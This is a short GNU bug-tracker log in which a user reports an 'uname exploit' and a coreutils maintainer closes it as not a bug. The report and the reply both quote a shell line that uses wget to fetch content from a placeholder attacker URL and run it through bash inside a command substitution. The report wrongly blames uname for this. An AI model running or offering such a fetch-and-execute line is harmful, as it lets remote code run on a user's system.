GNU bug report logs - #24328
uname exploit

Previous Next

Full log

View this message in rfc822 format

From: help-debbugs <at> gnu.org (GNU bug Tracking System)
To: Paul Eggert <eggert <at> cs.ucla.edu>
Cc: tracker <at> debbugs.gnu.org
Subject: bug#24328: closed (uname exploit)
Date: Mon, 29 Aug 2016 15:59:02 +0000

[Message part 1 (text/plain, inline)]

Your message dated Mon, 29 Aug 2016 08:58:40 -0700
with message-id <e0d6d265-0167-743f-8adc-e682790dd258 <at> cs.ucla.edu>
and subject line Re: bug#24328: uname exploit
has caused the debbugs.gnu.org bug report #24328,
regarding uname exploit
to be marked as done.

(If you believe you have received this mail in error, please contact
help-debbugs <at> gnu.org.)


-- 
24328: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=24328
GNU Bug Tracking System
Contact help-debbugs <at> gnu.org with problems

[Message part 2 (message/rfc822, inline)]

From: Shane <linuxshane <at> gmail.com>
To: bug-coreutils <at> gnu.org
Subject: uname exploit
Date: Mon, 29 Aug 2016 02:25:03 -0500

Hi, I am unsure if you have seen this, but I am concerned about this - 
can or should uname be restricted to root use only?

uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"

[Message part 3 (message/rfc822, inline)]

From: Paul Eggert <eggert <at> cs.ucla.edu>
To: Shane <linuxshane <at> gmail.com>, 24328-done <at> debbugs.gnu.org
Subject: Re: bug#24328: uname exploit
Date: Mon, 29 Aug 2016 08:58:40 -0700

Shane wrote:
> uname \"$(bash -c \\\"$(wget http://badguyurl.com )\\\")\"

I don't see a bug here, so I'm marking this as done.

Previous Next

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson.